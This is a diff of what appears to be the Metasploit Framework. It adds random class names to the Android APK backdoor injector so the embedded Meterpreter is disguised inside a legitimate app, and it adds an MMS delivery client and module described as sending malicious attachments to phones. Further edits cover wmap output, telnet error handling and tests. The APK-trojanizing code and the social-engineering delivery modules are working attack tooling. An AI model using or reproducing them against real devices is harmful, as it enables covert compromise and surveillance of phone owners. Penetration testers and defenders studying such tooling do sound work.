raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
|
||||
end
|
||||
|
||||
|
@ -212,6 +222,10 @@ class Msf::Payload::Apk
|
|||
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
classes = {}
|
||||
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
package_slash = package.gsub(/\./, "/")
|
||||
print_status "Adding payload as package #{package}\n"
|
||||
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
||||
|
@ -221,15 +235,22 @@ class Msf::Payload::Apk
|
|||
# Copy over the payload files, fixing up the smali code
|
||||
payload_files.each do |file_name|
|
||||
smali = File.read(file_name)
|
||||
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
|
||||
newfilename = "#{payload_dir}#{File.basename file_name}"
|
||||
File.open(newfilename, "wb") {|file| file.puts newsmali }
|
||||
smali_class = File.basename file_name
|
||||
for oldclass, newclass in classes
|
||||
if smali_class == "#{oldclass}.smali"
|
||||
smali_class = "#{newclass}.smali"
|
||||
end
|
||||
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
|
||||
end
|
||||
smali.gsub!(/com\/metasploit\/stage/, package_slash)
|
||||
newfilename = "#{payload_dir}#{smali_class}"
|
||||
File.open(newfilename, "wb") {|file| file.puts smali }
|
||||
end
|
||||
|
||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
|
||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
|
||||
|
||||
^ + entrypoint
|
||||
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
|
||||
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
|
||||
|
||||
print_status "Loading #{smalifile} and injecting payload..\n"
|
||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||
|
@ -237,7 +258,7 @@ class Msf::Payload::Apk
|
|||
injected_apk = "#{tempdir}/output.apk"
|
||||
aligned_apk = "#{tempdir}/aligned.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir, package)
|
||||
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
|
|
|
@ -8,6 +8,7 @@ require 'rex/proto/iax2'
|
|||
require 'rex/proto/kerberos'
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/proto/sms'
|
||||
require 'rex/proto/mms'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/mms/exception'
|
||||
require 'rex/proto/mms/model'
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
class Client
|
||||
|
||||
# @!attribute carrier
|
||||
# @return [Symbol] The service provider for the phone numbers.
|
||||
attr_accessor :carrier
|
||||
|
||||
# @!attribute smtp_server
|
||||
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
|
||||
attr_accessor :smtp_server
|
||||
|
||||
|
||||
# Initializes the Client object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
|
||||
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Client]
|
||||
def initialize(opts={})
|
||||
self.carrier = opts[:carrier]
|
||||
self.smtp_server = opts[:smtp_server]
|
||||
|
||||
validate_carrier!
|
||||
end
|
||||
|
||||
|
||||
# Sends a media text to multiple recipients.
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||
# @param subject [String] MMS subject
|
||||
# @param message [String] The message to send.
|
||||
# @param attachment_path [String] (Optional) The attachment to include
|
||||
# @param ctype [String] (Optional) The content type to use for the attachment
|
||||
#
|
||||
# @return [void]
|
||||
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
|
||||
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
|
||||
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||
address = self.smtp_server.address
|
||||
port = self.smtp_server.port
|
||||
username = self.smtp_server.username
|
||||
password = self.smtp_server.password
|
||||
helo_domain = self.smtp_server.helo_domain
|
||||
login_type = self.smtp_server.login_type
|
||||
from = self.smtp_server.from
|
||||
|
||||
smtp = Net::SMTP.new(address, port)
|
||||
|
||||
begin
|
||||
smtp.enable_starttls_auto
|
||||
smtp.start(helo_domain, username, password, login_type) do
|
||||
recipients.each do |r|
|
||||
mms_message = Rex::Proto::Mms::Model::Message.new(
|
||||
message: message,
|
||||
content_type: ctype,
|
||||
attachment_path: attachment_path,
|
||||
from: from,
|
||||
to: r,
|
||||
subject: subject
|
||||
)
|
||||
smtp.send_message(mms_message.to_s, from, r)
|
||||
end
|
||||
end
|
||||
rescue Net::SMTPAuthenticationError => e
|
||||
raise Rex::Proto::Mms::Exception, e.message
|
||||
ensure
|
||||
smtp.finish if smtp && smtp.started?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Validates the carrier parameter.
|
||||
#
|
||||
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
|
||||
def validate_carrier!
|
||||
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
|
||||
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
class Exception < ::RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
|
||||
GATEWAYS = {
|
||||
att:'mms.att.net', # AT&T Wireless
|
||||
sprint: 'pm.sprint.com', # Sprint
|
||||
tmobile: 'tmomail.net', # T-Mobile
|
||||
verizon: 'vzwpix.com', # Verizon
|
||||
google: 'msg.fi.google.com' # Google
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'net/smtp'
|
||||
require 'rex/proto/mms/model/smtp'
|
||||
require 'rex/proto/mms/model/message'
|
||||
require 'rex/proto/mms/client'
|
|
@ -0,0 +1,108 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
class Message
|
||||
|
||||
# @!attribute message
|
||||
# @return [String] The text message
|
||||
attr_accessor :message
|
||||
|
||||
# @!attribute content_type
|
||||
# @return [Fixnum] The content type of the attachment
|
||||
attr_accessor :content_type
|
||||
|
||||
# @!attribute attachment
|
||||
# @return [String] The loaded attachment converted to Base64
|
||||
attr_accessor :attachment
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] The from field in the email
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute to
|
||||
# @return [String] The to field in the email
|
||||
attr_accessor :to
|
||||
|
||||
# @!attribute subject
|
||||
# @return [String] The subject of the email
|
||||
attr_accessor :subject
|
||||
|
||||
# @!attribute attachment_name
|
||||
# @return [String] The attachment base name extracted from :attachment
|
||||
attr_accessor :attachment_name
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :from
|
||||
# @option opts [String] :to
|
||||
# @option opts [String] :message
|
||||
# @option opts [String] :content_type
|
||||
# @option opts [String] :attachment_path
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Model::Message]
|
||||
def initialize(opts={})
|
||||
self.from = opts[:from]
|
||||
self.to = opts[:to]
|
||||
self.message = opts[:message]
|
||||
self.subject = opts[:subject]
|
||||
self.content_type = opts[:content_type]
|
||||
if opts[:attachment_path]
|
||||
self.attachment = load_file_to_base64(opts[:attachment_path])
|
||||
self.attachment_name = File.basename(opts[:attachment_path])
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw MMS message
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
generate_mms_message
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
|
||||
# Returns the loaded file in Base64 format
|
||||
#
|
||||
# @return [String] Base64 data
|
||||
def load_file_to_base64(path)
|
||||
buf = File.read(path)
|
||||
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw MMS message
|
||||
#
|
||||
# @return [String]
|
||||
def generate_mms_message
|
||||
text = Rex::MIME::Message.new
|
||||
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
|
||||
body = Rex::MIME::Message.new
|
||||
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
|
||||
if self.attachment
|
||||
body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
|
||||
end
|
||||
|
||||
mms = "MIME-Version: 1.0\n"
|
||||
mms << "From: #{self.from}\n"
|
||||
mms << "To: #{self.to}\n"
|
||||
mms << "Subject: #{self.subject}\n"
|
||||
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
|
||||
mms << "\n"
|
||||
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
|
||||
|
||||
mms
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Mms
|
||||
module Model
|
||||
class Smtp
|
||||
|
||||
# @!attribute address
|
||||
# @return [String] SMTP address
|
||||
attr_accessor :address
|
||||
|
||||
# @!attribute port
|
||||
# @return [Fixnum] SMTP port
|
||||
attr_accessor :port
|
||||
|
||||
# @!attribute username
|
||||
# @return [String] SMTP account/username
|
||||
attr_accessor :username
|
||||
|
||||
# @!attribute password
|
||||
# @return [String] SMTP password
|
||||
attr_accessor :password
|
||||
|
||||
# @!attribute login_type
|
||||
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
|
||||
attr_accessor :login_type
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] Sender
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute helo_domain
|
||||
# @return [String] The domain to use for the HELO SMTP message
|
||||
attr_accessor :helo_domain
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :address
|
||||
# @option opts [Fixnum] :port
|
||||
# @option opts [String] :username
|
||||
# @option opts [String] :password
|
||||
# @option opts [String] :helo_domain
|
||||
# @option opts [Symbol] :login_type
|
||||
# @option opts [String] :from
|
||||
#
|
||||
# @return [Rex::Proto::Mms::Model::Smtp]
|
||||
def initialize(opts={})
|
||||
self.address = opts[:address]
|
||||
self.port = opts[:port] || 25
|
||||
self.username = opts[:username]
|
||||
self.password = opts[:password]
|
||||
self.helo_domain = opts[:helo_domain] || 'localhost'
|
||||
self.login_type = opts[:login_type] || :login
|
||||
self.from = opts[:from] || ''
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Mms
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MMS Client',
|
||||
'Description' => %q{
|
||||
This module sends an MMS message to multiple phones of the same carrier.
|
||||
You can use it to send a malicious attachment to phones.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
phone_numbers = datastore['CELLNUMBERS'].split
|
||||
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
|
||||
begin
|
||||
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
|
||||
print_status("Done.")
|
||||
rescue Rex::Proto::Mms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
This module sends a text message to multiple phones of the same carrier.
|
||||
You can use it to send a malicious link to phones.
|
||||
|
||||
Please note that you do not use this module to send a media file (attachment),
|
||||
because that is MMS.
|
||||
Please note that you do not use this module to send a media file (attachment).
|
||||
In order to send a media file, please use auxiliary/client/mms/send_mms instead.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -180,14 +180,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def storedb(hashreq,response,dbpath)
|
||||
|
||||
# Added host/port/ssl for report_web_page support
|
||||
info = {
|
||||
:web_site => @current_site,
|
||||
:path => hashreq['uri'],
|
||||
:query => hashreq['query'],
|
||||
:host => hashreq['rhost'],
|
||||
:port => hashreq['rport'],
|
||||
:ssl => !hashreq['ssl'].nil?,
|
||||
:data => hashreq['data'],
|
||||
:code => response['code'],
|
||||
:body => response['body'],
|
||||
:headers => response['headers']
|
||||
:code => response.code,
|
||||
:body => response.body,
|
||||
:headers => response.headers
|
||||
}
|
||||
|
||||
#if response['content-type']
|
||||
|
|
|
@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("#{ip}:#{rport} TELNET #{banner_santized}")
|
||||
report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue Timeout::Error
|
||||
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
|
||||
print_error("A network issue has occurred: #{e.message}")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue Timeout::Error => e
|
||||
print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
rescue ::Exception => e
|
||||
print_error("#{e} #{e.backtrace}")
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
This module allows you to open an android meterpreter via a browser. An Android
|
||||
meterpreter must be installed as an application beforehand on the target device
|
||||
in order to use this.
|
||||
|
||||
For best results, you can consider using the auxiliary/client/sms/send_text to
|
||||
trick your target into opening the malicious link, and wake up Meterpreter.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
|
|
|
@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => datastore['HTTP_METHOD'],
|
||||
}, 25)
|
||||
if res && !res.get_cookies.empty?
|
||||
match = res.get_cookies.match(/([-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
||||
match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
||||
end
|
||||
|
||||
if match
|
||||
|
|
141
plugins/wmap.rb
141
plugins/wmap.rb
|
@ -147,23 +147,28 @@ class Plugin::Wmap < Msf::Plugin
|
|||
when '-s'
|
||||
u = args.shift
|
||||
l = args.shift
|
||||
s = args.shift
|
||||
o = args.shift
|
||||
|
||||
if not u
|
||||
return
|
||||
end
|
||||
return unless u
|
||||
|
||||
if l == nil or l.empty?
|
||||
l = 200
|
||||
s = true
|
||||
o = 'true'
|
||||
else
|
||||
# Add check if unicode parameters is the second one
|
||||
if l == 'true' or l == 'false'
|
||||
o = l
|
||||
l = 200
|
||||
else
|
||||
l = l.to_i
|
||||
s = false
|
||||
end
|
||||
end
|
||||
|
||||
o = (o == 'true')
|
||||
|
||||
if u.include? 'http'
|
||||
# Parameters are in url form
|
||||
view_site_tree(u,l,s)
|
||||
view_site_tree(u,l,o)
|
||||
else
|
||||
# Parameters are digits
|
||||
if !self.lastsites or self.lastsites.length == 0
|
||||
|
@ -188,12 +193,12 @@ class Plugin::Wmap < Msf::Plugin
|
|||
# Skip the DB entirely if no matches
|
||||
return if target_whitelist.length == 0
|
||||
|
||||
if not self.targets
|
||||
unless self.targets
|
||||
self.targets = Hash.new()
|
||||
end
|
||||
|
||||
target_whitelist.each do |ent|
|
||||
view_site_tree(ent,l,s)
|
||||
view_site_tree(ent,l,o)
|
||||
end
|
||||
end
|
||||
return
|
||||
|
@ -203,8 +208,7 @@ class Plugin::Wmap < Msf::Plugin
|
|||
print_line("\t-a [url] Add site (vhost,url)")
|
||||
print_line("\t-d [ids] Delete sites (separate ids with space)")
|
||||
print_line("\t-l List all available sites")
|
||||
print_line("\t-s [id] Display site structure (vhost,url|ids) (level)")
|
||||
|
||||
print_line("\t-s [id] Display site structure (vhost,url|ids) (level) (unicode output true/false)")
|
||||
print_line("")
|
||||
return
|
||||
else
|
||||
|
@ -1526,18 +1530,16 @@ class Plugin::Wmap < Msf::Plugin
|
|||
# Skip the DB entirely if no matches
|
||||
return if site_whitelist.length == 0
|
||||
|
||||
vsites = Hash.new()
|
||||
|
||||
site_whitelist.each do |ent|
|
||||
vhost,target = ent
|
||||
|
||||
host = self.framework.db.workspace.hosts.find_by_address(target.host)
|
||||
if not host
|
||||
unless host
|
||||
print_error("No matching host for #{target.host}")
|
||||
next
|
||||
end
|
||||
serv = host.services.find_by_port_and_proto(target.port, 'tcp')
|
||||
if not serv
|
||||
unless serv
|
||||
print_error("No matching service for #{target.host}:#{target.port}")
|
||||
next
|
||||
end
|
||||
|
@ -1552,18 +1554,9 @@ class Plugin::Wmap < Msf::Plugin
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Load website structure into a tree
|
||||
#
|
||||
|
||||
def load_tree(s)
|
||||
|
||||
# Private function to avoid duplicate code
|
||||
def load_tree_core(req, wtree)
|
||||
pathchr = '/'
|
||||
|
||||
wtree = Tree.new(s.vhost)
|
||||
|
||||
# Load site pages
|
||||
s.web_pages.order('path asc').each do |req|
|
||||
tarray = req.path.to_s.split(pathchr)
|
||||
tarray.delete("")
|
||||
tpath = Pathname.new(pathchr)
|
||||
|
@ -1573,48 +1566,94 @@ class Plugin::Wmap < Msf::Plugin
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Load website structure into a tree
|
||||
#
|
||||
def load_tree(s)
|
||||
wtree = Tree.new(s.vhost)
|
||||
|
||||
# Load site pages
|
||||
s.web_pages.order('path asc').each do |req|
|
||||
if req.code != 404
|
||||
load_tree_core(req, wtree)
|
||||
end
|
||||
end
|
||||
|
||||
# Load site forms
|
||||
s.web_forms.each do |req|
|
||||
tarray = req.path.to_s.split(pathchr)
|
||||
tarray.delete("")
|
||||
tpath = Pathname.new(pathchr)
|
||||
tarray.each do |df|
|
||||
wtree.add_at_path(tpath.to_s,df)
|
||||
tpath = tpath + Pathname.new(df.to_s)
|
||||
end
|
||||
load_tree_core(req, wtree)
|
||||
end
|
||||
|
||||
return wtree
|
||||
wtree
|
||||
end
|
||||
|
||||
def print_file(filename)
|
||||
ext = File.extname(filename)
|
||||
if %w(.txt .md).include? ext
|
||||
print '%bld%red'
|
||||
elsif %w(.css .js).include? ext
|
||||
print '%grn'
|
||||
end
|
||||
|
||||
print_line("#{ filename }%clr")
|
||||
end
|
||||
|
||||
#
|
||||
# Print Tree structure. Still ugly
|
||||
# Recursive function for printing the tree structure
|
||||
#
|
||||
def print_tree_recursive(tree, max_level, indent, prefix, is_last, unicode)
|
||||
if tree != nil and tree.depth <= max_level
|
||||
print (' ' * indent)
|
||||
|
||||
def print_tree(tree, ip, maxlevel, limitlevel)
|
||||
initab = " " * 4
|
||||
indent = 6
|
||||
if tree != nil and tree.depth <= maxlevel
|
||||
print initab + (" " * indent * tree.depth)
|
||||
if tree.depth > 0
|
||||
print "|"+("-" * (indent-1))+"/"
|
||||
end
|
||||
if tree.depth >= 0
|
||||
if tree.depth == 0
|
||||
print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n"
|
||||
|
||||
# Prefix serve to print the superior hierarchy
|
||||
prefix.each { |bool|
|
||||
if unicode
|
||||
print (bool ? ' ' : '│') + (' ' * 3)
|
||||
else
|
||||
print (bool ? ' ' : '|') + (' ' * 3)
|
||||
end
|
||||
}
|
||||
if unicode
|
||||
# The last children is special
|
||||
print (is_last ? '└' : '├') + ('─' * 2) + ' '
|
||||
else
|
||||
print (is_last ? '`' : '|') + ('-' * 2) + ' '
|
||||
end
|
||||
|
||||
c = tree.children.count
|
||||
|
||||
if c > 0
|
||||
print tree.name + " (" + c.to_s+")\n"
|
||||
print_line "%bld%blu#{ tree.name }%clr (#{ c.to_s })"
|
||||
else
|
||||
print tree.name + "\n"
|
||||
print_file tree.name
|
||||
end
|
||||
|
||||
i = 1
|
||||
new_prefix = prefix + [is_last]
|
||||
tree.children.each_pair { |_,child|
|
||||
is_last = !(i < c)
|
||||
print_tree_recursive(child, max_level, indent, new_prefix, is_last, unicode)
|
||||
i += 1
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
tree.children.each_pair do |name,child|
|
||||
print_tree(child,ip,maxlevel,limitlevel)
|
||||
#
|
||||
# Print Tree structure. Less ugly
|
||||
# Modified by Jon P.
|
||||
#
|
||||
def print_tree(tree, ip, max_level, unicode)
|
||||
indent = 4
|
||||
if tree != nil and tree.depth <= max_level
|
||||
if tree.depth == 0
|
||||
print_line "\n" + (' ' * indent) + "%cya[#{tree.name}] (#{ip})%clr"
|
||||
end
|
||||
|
||||
i = 1
|
||||
c = tree.children.count
|
||||
tree.children.each_pair do |_,child|
|
||||
print_tree_recursive(child, max_level, indent, [], !(i < c), unicode)
|
||||
i += 1
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Client do
|
||||
|
||||
let(:phone_numbers) { ['1112223333'] }
|
||||
|
||||
let(:message) { 'message' }
|
||||
|
||||
let(:attachment) { 'file.jpg' }
|
||||
|
||||
let(:file_content) { 'content' }
|
||||
|
||||
let(:subject) { 'subject' }
|
||||
|
||||
let(:ctype) { 'ctype' }
|
||||
|
||||
let(:carrier) { :verizon }
|
||||
|
||||
let(:smtp_server) {
|
||||
Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: 'example.com',
|
||||
port: 25,
|
||||
username: 'username',
|
||||
password: 'password'
|
||||
)
|
||||
}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Mms::Client.new(
|
||||
carrier: carrier,
|
||||
smtp_server: smtp_server
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets carrier' do
|
||||
expect(subject.carrier).to eq(carrier)
|
||||
end
|
||||
|
||||
it 'sets smtp server' do
|
||||
expect(subject.smtp_server).to eq(smtp_server)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#send_mms_to_phones' do
|
||||
before(:each) do
|
||||
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
|
||||
allow(smtp).to receive(:start).and_yield
|
||||
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
|
||||
allow(Net::SMTP).to receive(:new).and_return(smtp)
|
||||
allow(File).to receive(:read).and_return(file_content)
|
||||
end
|
||||
|
||||
it 'sends an mms message' do
|
||||
subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype)
|
||||
expect(@sent_message).to include('MIME-Version: 1.0')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Model::Message do
|
||||
|
||||
let(:message) { 'message' }
|
||||
let(:content_type) { 'ctype' }
|
||||
let(:attachment) { 'filepath.jpg' }
|
||||
let(:filecontent) { 'file content' }
|
||||
let(:from) { 'sender@example.com' }
|
||||
let(:to) { 'receiver@example.com' }
|
||||
let(:mms_subject) { 'subject' }
|
||||
|
||||
before(:each) do
|
||||
allow(File).to receive(:read).and_return(filecontent)
|
||||
end
|
||||
|
||||
subject do
|
||||
described_class.new(
|
||||
from: from,
|
||||
to: to,
|
||||
subject: mms_subject,
|
||||
message: message,
|
||||
content_type: content_type,
|
||||
attachment_path: attachment
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets message' do
|
||||
expect(subject.message).to eq(message)
|
||||
end
|
||||
|
||||
it 'sets content type' do
|
||||
expect(subject.content_type).to eq(content_type)
|
||||
end
|
||||
|
||||
it 'sets attachment path' do
|
||||
expect(subject.attachment).to eq('ZmlsZSBjb250ZW50')
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets to' do
|
||||
expect(subject.to).to eq(to)
|
||||
end
|
||||
|
||||
it 'sets subject' do
|
||||
expect(subject.subject).to eq(mms_subject)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#to_s' do
|
||||
it 'returns the mms message' do
|
||||
expect(subject.to_s).to include('MIME-Version: 1.0')
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Mms::Model::Smtp do
|
||||
|
||||
let(:address) { 'example.com' }
|
||||
let(:port) { 25 }
|
||||
let(:username) { 'username' }
|
||||
let(:password) { 'password' }
|
||||
let(:login_type) { :login }
|
||||
let(:from) { 'from' }
|
||||
let(:helo_domain) { 'example.com'}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Mms::Model::Smtp.new(
|
||||
address: address,
|
||||
port: port,
|
||||
username: username,
|
||||
password: password,
|
||||
login_type: login_type,
|
||||
from: from,
|
||||
helo_domain: helo_domain
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets address' do
|
||||
expect(subject.address).to eq(address)
|
||||
end
|
||||
|
||||
it 'sets port' do
|
||||
expect(subject.port).to eq(port)
|
||||
end
|
||||
|
||||
it 'sets username' do
|
||||
expect(subject.username).to eq(username)
|
||||
end
|
||||
|
||||
it 'sets password' do
|
||||
expect(subject.password).to eq(password)
|
||||
end
|
||||
|
||||
it 'sets login_type' do
|
||||
expect(subject.login_type).to eq(login_type)
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets helo domain' do
|
||||
expect(subject.helo_domain).to eq(helo_domain)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue